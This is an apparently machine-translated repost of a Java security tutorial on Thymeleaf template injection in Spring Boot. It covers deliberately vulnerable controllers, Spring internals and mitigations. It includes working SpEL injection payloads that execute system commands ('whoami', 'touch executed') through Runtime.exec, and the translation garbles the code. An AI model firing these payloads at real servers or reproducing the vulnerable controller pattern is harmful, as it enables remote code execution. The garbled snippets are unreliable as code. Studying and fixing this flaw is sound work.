In addition to Weibo, there is also WeChat
Please pay attention
WeChat public account
Shulou
2025-02-24 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >
Share
Shulou(Shulou.com)05/31 Report--
This article will explain in detail how to inject spring boot Thymeleaf templates in java security development. The content of the article is of high quality, so the editor will share it with you for reference. I hope you will have some understanding of the relevant knowledge after reading this article.
Introduction to 0x01 Thymeleaf
Thymeleaf is a modern server-side Java template engine for Web and stand-alone environments. Similar to the jinja template engine in python web development. By the way, Thymeleaf is spring boot's recommendation engine.
Basic knowledge of 0x02
Spring Boot itself is a simplified version of Spring MVC. Automatic configuration is realized on the basis of Spring MVC, which simplifies the development process of developers. Spring MVC intercepts requests through a DispatcherServlet front-end controller. In Spring Boot, the DispatcherServlet front-end controller is automatically configured into the framework using automatic configuration.
For example, let's parse the request / users
DispatcherServlet front-end controller intercepts requests / users
Servlet decides which handler to use for processing
Spring detects which controller matches / users,Spring finds the required information from @ RquestMapping
After Spring finds the correct Controller method, it starts to execute the Controller method
Returns the list of users objects
Return Json or Xml format as needed to interact with the client
Comments related to spring boot
@ Controller processes Http requests
Derivative comments of @ RestController @ Controller
@ RequestMapping routing request can set various operation methods
Routing of @ GetMapping GET method
Routing of @ PostMapping POST method
Routing of @ PutMapping PUT method
Routing of @ DeleteMapping DELETE method
@ PathVariable processes the parameter / user/ {id} in the request url path
@ RequestParam handles the parameters after the question mark
@ RequestBody request parameters are submitted in json format
@ ResponseBody returns json format
Controller comments
@ Controller is generally used in application scenarios with a return interface. For example, the administrative background uses thymeleaf as a template for development, and you need to return the Model object directly from the background to the foreground, so you need to use @ Controller to annotate it.
RequestMapping comments
Used to add a controller to the route
0x03 environment configuration
Https://github.com/veracode-research/spring-view-manipulation/
We created a project with vulnerabilities using the spring boot + Thymeleaf template. The core code is as follows
@ GetMapping ("/ path") public String path (@ RequestParam String lang) {return lang; / / template path is tainted}
The meaning of the code is as follows: the url requested by the user is path, and the parameter name is lang, then the server uses the Thymeleaf template to find the relevant template file.
For example, if the user requests / path?lang=en through get, the server automatically spells the template file name of the reception lookup, which is resources/templates/en.html, and returns it to the user's browser.
There are two problems with the above code:
Is there any file reading?
Is there a loophole such as template injection?
0x04 template injection analysis
We don't analyze how spring boot finds controller, because it doesn't matter to us.
Spring boot starts processing user requests in the `org.springframework.web.servlet.ModelAndView` method
/ * * This implementation expects the handler to be an {@ link HandlerMethod}. * / @ Override @ Nullable public final ModelAndView handle (HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {return handleInternal (request, response, (HandlerMethod) handler);
Then in the org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod#invokeAndHandle method, through the invokeForRequest function, according to the url provided by the user, call the relevant controller, and return its value as the template file name to be found, find it through the Thymeleaf template engine, and return it to the user
/ * * Invoke the method and handle the return value through one of the * configured {@ link HandlerMethodReturnValueHandler HandlerMethodReturnValueHandlers}. * @ param webRequest the current request * @ param mavContainer the ModelAndViewContainer for this request * @ param providedArgs "given" arguments matched by type (not resolved) * / public void invokeAndHandle (ServletWebRequest webRequest, ModelAndViewContainer mavContainer, Object... ProvidedArgs) throws Exception {Object returnValue = invokeForRequest (webRequest, mavContainer, providedArgs); setResponseStatus (webRequest); if (returnValue = = null) {if (isRequestNotModified (webRequest) | | getResponseStatus ()! = null | | mavContainer.isRequestHandled ()) {disableContentCachingIfNecessary (webRequest); mavContainer.setRequestHandled (true); return;} else if (StringUtils.hasText (getResponseStatusReason () {mavContainer.setRequestHandled (true); return;} mavContainer.setRequestHandled (false) Try {this.returnValueHandlers.handleReturnValue (returnValue, getReturnValueType (returnValue), mavContainer, webRequest);}}
In the function, this.returnValueHandlers.handleReturnValue is called to process the returned result. Finally, in the org.springframework.web.servlet.mvc.method.annotation.ViewNameMethodReturnValueHandler#handleReturnValue method, the return value of controller is used as the view name. The code is as follows
@ Override public void handleReturnValue (@ Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception {if (returnValue instanceof CharSequence) {String viewName = returnValue.toString (); mavContainer.setViewName (viewName); if (isRedirectViewName (viewName)) {mavContainer.setRedirectModelScenario (true);}}
Spring boot finally invokes the expression parsing of the Thymeleaf template engine in the org.springframework.web.servlet.DispatcherServlet#processDispatchResult method. Resolve the view name set in the previous step to the template name, load the template, and return it to the user. The core code is as follows
Org.thymeleaf.standard.expression.IStandardExpressionParser#parseExpression
Final String viewTemplateName = getTemplateName (); final ISpringTemplateEngine viewTemplateEngine = getTemplateEngine (); final IStandardExpressionParser parser = StandardExpressions.getExpressionParser (configuration); final FragmentExpression fragmentExpression; try {/ / By parsing it as a standard expression, we might profit from the expression cache fragmentExpression = (FragmentExpression) parser.parse_Expression (context, "~ {" + viewTemplateName + "}") } catch (final TemplateProcessingException e) {throw new IllegalArgumentException ("Invalid template name specification:'" + viewTemplateName + "');} 0x05 unsafe java code first: @ GetMapping (" / path ") public String path (@ RequestParam String lang) {return lang; / / template path is tainted}
In the lookup template, the user input is referenced
Payload
GET / path?lang=__$%7bnew%20java.util.Scanner (T (java.lang.Runtime). GetRuntime (). Exec (% 22whoami%22). GetInputStream (). Next ()% 7d__::.x HTTP/1.1Host: 127.0.0.1:8090Connection: close
The second kind
According to the spring boot definition, if the controller does not return a value, the route of the GetMapping is used as the view name. Of course, for each http request, it is to call the template engine to parse the requested url as the view name.
Https://docs.spring.io/spring/docs/current/spring-framework-reference/web.html#mvc-ann-return-types
In this case, we can also create RCE vulnerabilities as long as we can control the parameters of the requested controller. For example, we can control the document parameter.
@ GetMapping ("/ doc/ {document}") public void getDocument (@ PathVariable String document) {log.info ("Retrieving" + document);} GET / doc/__$ {T (java.lang.Runtime). GetRuntime (). Exec ("touch executed")} _ _::. X0x06 repair scheme 1. Set up ResponseBody comments
If you set `ResponseBody`, template parsing will no longer be called
two。 Set redirect redirection @ GetMapping ("/ safe/redirect") public String redirect (@ RequestParam String url) {return "redirect:" + url; / / CWE-601, as we can control the hostname in redirect
According to the spring boot definition, if the name starts with redirect:, ThymeleafView parsing is no longer called and RedirectView is called to resolve the return value of controller.
3. Response@GetMapping ("/ safe/doc/ {document}") public void getDocument (@ PathVariable String document, HttpServletResponse response) {log.info ("Retrieving" + document); / / FP}
Because the parameter of controller is set to HttpServletResponse,Spring thinks it has processed HTTP Response, view name resolution does not occur.
On java security development on how to carry out spring boot Thymeleaf template injection to share here, I hope the above content can be of some help to you, can learn more knowledge. If you think the article is good, you can share it for more people to see.
Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.
Views: 0
*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.
Continue with the installation of the previous hadoop.First, install zookooper1. Decompress zookoope
"Every 5-10 years, there's a rare product, a really special, very unusual product that's the most un
© 2024 shulou.com SLNews company. All rights reserved.